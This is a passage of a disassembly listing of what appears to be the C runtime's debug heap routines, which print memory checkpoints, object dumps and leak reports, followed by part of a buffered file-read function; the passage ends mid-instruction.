XREF: _0:0041D811j push 9 call sub_423280 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41D866 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_41D866 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41D866 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jnz short loc_41D8D1 loc_41D866: ; CODE XREF: _0:0041D842j _0:0041D84Bj ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_41D660 add esp, 0Ch test eax, eax jz short loc_41D8D1 mov ecx, [ebp-1Ch] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_41D8D1 mov eax, [ebp-1Ch] mov ecx, [eax+18h] cmp ecx, ds:dword_4517E4 jg short loc_41D8D1 cmp dword ptr [ebp+10h], 0 jz short loc_41D8A6 mov edx, [ebp+10h] mov eax, [ebp-1Ch] mov ecx, [eax+18h] mov [edx], ecx loc_41D8A6: ; CODE XREF: _0:0041D899j cmp dword ptr [ebp+14h], 0 jz short loc_41D8B7 mov edx, [ebp+14h] mov eax, [ebp-1Ch] mov ecx, [eax+8] mov [edx], ecx loc_41D8B7: ; CODE XREF: _0:0041D8AAj cmp dword ptr [ebp+18h], 0 jz short loc_41D8C8 mov edx, [ebp+18h] mov eax, [ebp-1Ch] mov ecx, [eax+0Ch] mov [edx], ecx loc_41D8C8: ; CODE XREF: _0:0041D8BBj mov dword ptr [ebp-20h], 1 jmp short loc_41D8D8 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: _0:0041D864j _0:0041D87Aj ... mov dword ptr [ebp-20h], 0 loc_41D8D8: ; CODE XREF: _0:0041D8CFj mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41D8E6 jmp short loc_41D8F1 ; =============== S U B R O U T I N E ======================================= sub_41D8E6 proc near ; CODE XREF: _0:0041D8DFp ; DATA XREF: _1:0043CAE8o push 9 call sub_423320 add esp, 4 retn sub_41D8E6 endp ; --------------------------------------------------------------------------- loc_41D8F1: ; CODE XREF: _0:0041D8E4j mov eax, [ebp-20h] loc_41D8F4: ; CODE XREF: _0:0041D815j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4F4A38 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4F4A38, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D930 proc near ; CODE XREF: sub_41E030+Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041DAC3 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CB38 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41D984 loc_41D959: ; CODE XREF: sub_41D930+4Dj push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D979 int 3 ; Trap to Debugger loc_41D979: ; CODE XREF: sub_41D930+46j xor eax, eax test eax, eax jnz short loc_41D959 jmp loc_41DAC3 ; --------------------------------------------------------------------------- loc_41D984: ; CODE XREF: sub_41D930+27j push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] mov edx, ds:dword_4F32E8 mov [ecx], edx mov [ebp+var_1C], 0 jmp short loc_41D9B2 ; --------------------------------------------------------------------------- loc_41D9A9: ; CODE XREF: sub_41D930+A4j mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_41D9B2: ; CODE XREF: sub_41D930+77j cmp [ebp+var_1C], 5 jge short loc_41D9D6 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_41D9A9 ; --------------------------------------------------------------------------- loc_41D9D6: ; CODE XREF: sub_41D930+86j mov edx, ds:dword_4F32E8 mov [ebp+var_20], edx jmp short loc_41D9E9 ; --------------------------------------------------------------------------- loc_41D9E1: ; CODE XREF: sub_41D930:loc_41DA8Dj mov eax, [ebp+var_20] mov ecx, [eax] mov [ebp+var_20], ecx loc_41D9E9: ; CODE XREF: sub_41D930+AFj cmp [ebp+var_20], 0 jz loc_41DA92 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_41DA68 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_41DA68 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_20] add edx, [eax+10h] mov ecx, [ebp+var_20] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41DA8D ; --------------------------------------------------------------------------- loc_41DA68: ; CODE XREF: sub_41D930+D0j ; sub_41D930+E1j ... mov edx, [ebp+var_20] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DA87 int 3 ; Trap to Debugger loc_41DA87: ; CODE XREF: sub_41D930+154j xor eax, eax test eax, eax jnz short loc_41DA68 loc_41DA8D: ; CODE XREF: sub_41D930+136j jmp loc_41D9E1 ; --------------------------------------------------------------------------- loc_41DA92: ; CODE XREF: sub_41D930+BDj mov ecx, [ebp+arg_0] mov edx, ds:dword_4F32F0 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, ds:dword_4F32E4 mov [eax+30h], ecx mov [ebp+var_4], 0FFFFFFFFh call sub_41DAB8 jmp short loc_41DAC3 sub_41D930 endp ; =============== S U B R O U T I N E ======================================= sub_41DAB8 proc near ; CODE XREF: sub_41D930+181p ; DATA XREF: _1:0043CB40o push 9 call sub_423320 add esp, 4 retn sub_41DAB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41DAC3: ; CODE XREF: sub_41D930+4Fj ; sub_41D930+186j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_41DB02 cmp dword ptr [ebp+0Ch], 0 jz short loc_41DB02 cmp dword ptr [ebp+10h], 0 jnz short loc_41DB30 loc_41DB02: ; CODE XREF: _0:0041DAF4j _0:0041DAFAj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DB22 int 3 ; Trap to Debugger loc_41DB22: ; CODE XREF: _0:0041DB1Fj xor eax, eax test eax, eax jnz short loc_41DB02 mov eax, [ebp-8] jmp loc_41DBFC ; --------------------------------------------------------------------------- loc_41DB30: ; CODE XREF: _0:0041DB00j mov dword ptr [ebp-4], 0 jmp short loc_41DB42 ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: _0:loc_41DBC7j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41DB42: ; CODE XREF: _0:0041DB37j cmp dword ptr [ebp-4], 5 jge loc_41DBCC mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_41DBA2 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_41DBC7 loc_41DBA2: ; CODE XREF: _0:0041DB93j cmp dword ptr [ebp-4], 0 jz short loc_41DBC7 cmp dword ptr [ebp-4], 2 jnz short loc_41DBC0 cmp dword ptr [ebp-4], 2 jnz short loc_41DBC7 mov eax, ds:dword_4517E0 and eax, 10h test eax, eax jz short loc_41DBC7 loc_41DBC0: ; CODE XREF: _0:0041DBACj mov dword ptr [ebp-8], 1 loc_41DBC7: ; CODE XREF: _0:0041DBA0j _0:0041DBA6j ... jmp loc_41DB39 ; --------------------------------------------------------------------------- loc_41DBCC: ; CODE XREF: _0:0041DB46j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_41DBFC: ; CODE XREF: _0:0041DB2Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC10 proc near ; CODE XREF: sub_41E030+5Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041DECC SIZE 00000037 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CC50 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov [ebp+var_20], 0 push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 loc_41DC4B: ; CODE XREF: sub_41DC10+5Fj push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DC6B int 3 ; Trap to Debugger loc_41DC6B: ; CODE XREF: sub_41DC10+58j xor eax, eax test eax, eax jnz short loc_41DC4B cmp [ebp+arg_0], 0 jz short loc_41DC7F mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_20], edx loc_41DC7F: ; CODE XREF: sub_41DC10+65j mov eax, ds:dword_4F32E8 mov [ebp+var_1C], eax jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC89: ; CODE XREF: sub_41DC10:loc_41DEAEj mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx loc_41DC91: ; CODE XREF: sub_41DC10+77j cmp [ebp+var_1C], 0 jz loc_41DEB3 mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jz loc_41DEB3 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_41DCE5 mov eax, [ebp+var_1C] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_41DCE5 mov edx, [ebp+var_1C] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41DCEA mov ecx, ds:dword_4517E0 and ecx, 10h test ecx, ecx jnz short loc_41DCEA loc_41DCE5: ; CODE XREF: sub_41DC10+A6j ; sub_41DC10+B6j jmp loc_41DEAE ; --------------------------------------------------------------------------- loc_41DCEA: ; CODE XREF: sub_41DC10+C6j ; sub_41DC10+D3j mov edx, [ebp+var_1C] cmp dword ptr [edx+8], 0 jz short loc_41DD63 push 0 push 1 mov eax, [ebp+var_1C] mov ecx, [eax+8] push ecx call sub_41D660 add esp, 0Ch test eax, eax jnz short loc_41DD34 loc_41DD0A: ; CODE XREF: sub_41DC10+120j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DD2C int 3 ; Trap to Debugger loc_41DD2C: ; CODE XREF: sub_41DC10+119j xor ecx, ecx test ecx, ecx jnz short loc_41DD0A jmp short loc_41DD63 ; --------------------------------------------------------------------------- loc_41DD34: ; CODE XREF: sub_41DC10+F8j ; sub_41DC10+151j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_1C] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_422610 add esp, 1Ch cmp eax, 1 jnz short loc_41DD5D int 3 ; Trap to Debugger loc_41DD5D: ; CODE XREF: sub_41DC10+14Aj xor eax, eax test eax, eax jnz short loc_41DD34 loc_41DD63: ; CODE XREF: sub_41DC10+E1j ; sub_41DC10+122j ... mov ecx, [ebp+var_1C] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DD85 int 3 ; Trap to Debugger loc_41DD85: ; CODE XREF: sub_41DC10+172j xor eax, eax test eax, eax jnz short loc_41DD63 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41DE0D loc_41DD9C: ; CODE XREF: sub_41DC10+1C8j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41DDD4 int 3 ; Trap to Debugger loc_41DDD4: ; CODE XREF: sub_41DC10+1C1j xor edx, edx test edx, edx jnz short loc_41DD9C cmp ds:dword_4F4A38, 0 jz short loc_41DDFC mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] add edx, 20h push edx call ds:dword_4F4A38 add esp, 8 jmp short loc_41DE08 ; --------------------------------------------------------------------------- loc_41DDFC: ; CODE XREF: sub_41DC10+1D1j mov eax, [ebp+var_1C] push eax call sub_41DF10 add esp, 4 loc_41DE08: ; CODE XREF: sub_41DC10+1EAj jmp loc_41DEAE ; --------------------------------------------------------------------------- loc_41DE0D: ; CODE XREF: sub_41DC10+18Aj mov ecx, [ebp+var_1C] cmp dword ptr [ecx+14h], 1 jnz short loc_41DE53 loc_41DE16: ; CODE XREF: sub_41DC10+233j mov edx, [ebp+var_1C] mov eax, [edx+10h] push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_422610 add esp, 1Ch cmp eax, 1 jnz short loc_41DE3F int 3 ; Trap to Debugger loc_41DE3F: ; CODE XREF: sub_41DC10+22Cj xor edx, edx test edx, edx jnz short loc_41DE16 mov eax, [ebp+var_1C] push eax call sub_41DF10 add esp, 4 jmp short loc_41DEAE ; --------------------------------------------------------------------------- loc_41DE53: ; CODE XREF: sub_41DC10+204j mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_41DEAE loc_41DE64: ; CODE XREF: sub_41DC10+290j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41DE9C int 3 ; Trap to Debugger loc_41DE9C: ; CODE XREF: sub_41DC10+289j xor edx, edx test edx, edx jnz short loc_41DE64 mov eax, [ebp+var_1C] push eax call sub_41DF10 add esp, 4 loc_41DEAE: ; CODE XREF: sub_41DC10:loc_41DCE5j ; sub_41DC10:loc_41DE08j ... jmp loc_41DC89 ; --------------------------------------------------------------------------- loc_41DEB3: ; CODE XREF: sub_41DC10+85j ; sub_41DC10+91j mov [ebp+var_4], 0FFFFFFFFh call sub_41DEC1 jmp short loc_41DECC sub_41DC10 endp ; =============== S U B R O U T I N E ======================================= sub_41DEC1 proc near ; CODE XREF: sub_41DC10+2AAp ; DATA XREF: _1:0043CC58o push 9 call sub_423320 add esp, 4 retn sub_41DEC1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DC10 loc_41DECC: ; CODE XREF: sub_41DC10+2AFj ; sub_41DC10+2E0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41DEEC int 3 ; Trap to Debugger loc_41DEEC: ; CODE XREF: sub_41DC10+2D9j xor ecx, ecx test ecx, ecx jnz short loc_41DECC mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41DC10 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF10 proc near ; CODE XREF: sub_41DC10+1F0p ; sub_41DC10+239p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_41DF2B ; --------------------------------------------------------------------------- loc_41DF22: ; CODE XREF: sub_41DF10+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_41DF2B: ; CODE XREF: sub_41DF10+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_41DF3F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_41DF46 ; --------------------------------------------------------------------------- loc_41DF3F: ; CODE XREF: sub_41DF10+22j mov [ebp+var_54], 10h loc_41DF46: ; CODE XREF: sub_41DF10+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_41DFEC mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp ds:dword_453DF0, 1 jle short loc_41DF83 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_58], eax jmp short loc_41DFA0 ; --------------------------------------------------------------------------- loc_41DF83: ; CODE XREF: sub_41DF10+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_41DFA0: ; CODE XREF: sub_41DF10+71j cmp [ebp+var_58], 0 jz short loc_41DFB4 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_41DFBB ; --------------------------------------------------------------------------- loc_41DFB4: ; CODE XREF: sub_41DF10+94j mov [ebp+var_5C], 20h loc_41DFBB: ; CODE XREF: sub_41DF10+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_41EA60 add esp, 0Ch jmp loc_41DF22 ; --------------------------------------------------------------------------- loc_41DFEC: ; CODE XREF: sub_41DF10+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_41DFF4: ; CODE XREF: sub_41DF10+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 1Ch cmp eax, 1 jnz short loc_41E017 int 3 ; Trap to Debugger loc_41E017: ; CODE XREF: sub_41DF10+104j xor edx, edx test edx, edx jnz short loc_41DFF4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E030 proc near ; CODE XREF: sub_41E920+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_41D930 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_41E064 cmp [ebp+var_2C], 0 jnz short loc_41E064 mov ecx, ds:dword_4517E0 and ecx, 10h test ecx, ecx jz short loc_41E09B cmp [ebp+var_28], 0 jz short loc_41E09B loc_41E064: ; CODE XREF: sub_41E030+19j ; sub_41E030+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41E084 int 3 ; Trap to Debugger loc_41E084: ; CODE XREF: sub_41E030+51j xor edx, edx test edx, edx jnz short loc_41E064 push 0 call sub_41DC10 add esp, 4 mov eax, 1 jmp short loc_41E09D ; --------------------------------------------------------------------------- loc_41E09B: ; CODE XREF: sub_41E030+2Cj ; sub_41E030+32j xor eax, eax loc_41E09D: ; CODE XREF: sub_41E030+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E030 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_41E0C2 jmp loc_41E16E ; --------------------------------------------------------------------------- loc_41E0C2: ; CODE XREF: _0:0041E0BBj mov dword ptr [ebp-4], 0 jmp short loc_41E0D4 ; --------------------------------------------------------------------------- loc_41E0CB: ; CODE XREF: _0:0041E11Cj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_41E0D4: ; CODE XREF: _0:0041E0C9j cmp dword ptr [ebp-4], 5 jge short loc_41E11E loc_41E0DA: ; CODE XREF: _0:0041E11Aj mov ecx, [ebp-4] mov edx, ds:off_4517F0[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41E116 int 3 ; Trap to Debugger loc_41E116: ; CODE XREF: _0:0041E113j xor eax, eax test eax, eax jnz short loc_41E0DA jmp short loc_41E0CB ; --------------------------------------------------------------------------- loc_41E11E: ; CODE XREF: _0:0041E0D8j _0:0041E144j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41E140 int 3 ; Trap to Debugger loc_41E140: ; CODE XREF: _0:0041E13Dj xor eax, eax test eax, eax jnz short loc_41E11E loc_41E146: ; CODE XREF: _0:0041E16Cj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41E168 int 3 ; Trap to Debugger loc_41E168: ; CODE XREF: _0:0041E165j xor eax, eax test eax, eax jnz short loc_41E146 loc_41E16E: ; CODE XREF: _0:0041E0BDj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E180 proc near ; CODE XREF: sub_4010AA+43p ; sub_40F986+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_422420 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41E1C0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_422490 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41E180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1C0 proc near ; CODE XREF: sub_41E180+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41E1E9 xor eax, eax jmp loc_41E38B ; --------------------------------------------------------------------------- loc_41E1E9: ; CODE XREF: sub_41E1C0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41E204 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41E20B ; --------------------------------------------------------------------------- loc_41E204: ; CODE XREF: sub_41E1C0+37j mov [ebp+var_1C], 1000h loc_41E20B: ; CODE XREF: sub_41E1C0+42j ; sub_41E1C0:loc_41E383j cmp [ebp+var_C], 0 jz loc_41E388 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_41E299 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41E299 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41E241 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41E24A ; --------------------------------------------------------------------------- loc_41E241: ; CODE XREF: sub_41E1C0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41E24A: ; CODE XREF: sub_41E1C0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_41FBF0 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41E383 ; --------------------------------------------------------------------------- loc_41E299: ; CODE XREF: sub_41E1C0+63j ; sub_41E1C0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41E33E cmp [ebp+var_1C], 0 jz short loc_41E2BD mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41E2C3 ; --------------------------------------------------------------------------- loc_41E2BD: ; CODE XREF: sub_41E1C0+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41E2C3: ; CODE XREF: sub_41E1C0+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_4272F0 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41E308 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41E38B ; --------------------------------------------------------------------------- loc_41E308: ; CODE XREF: sub_41E1C0+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E32A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, 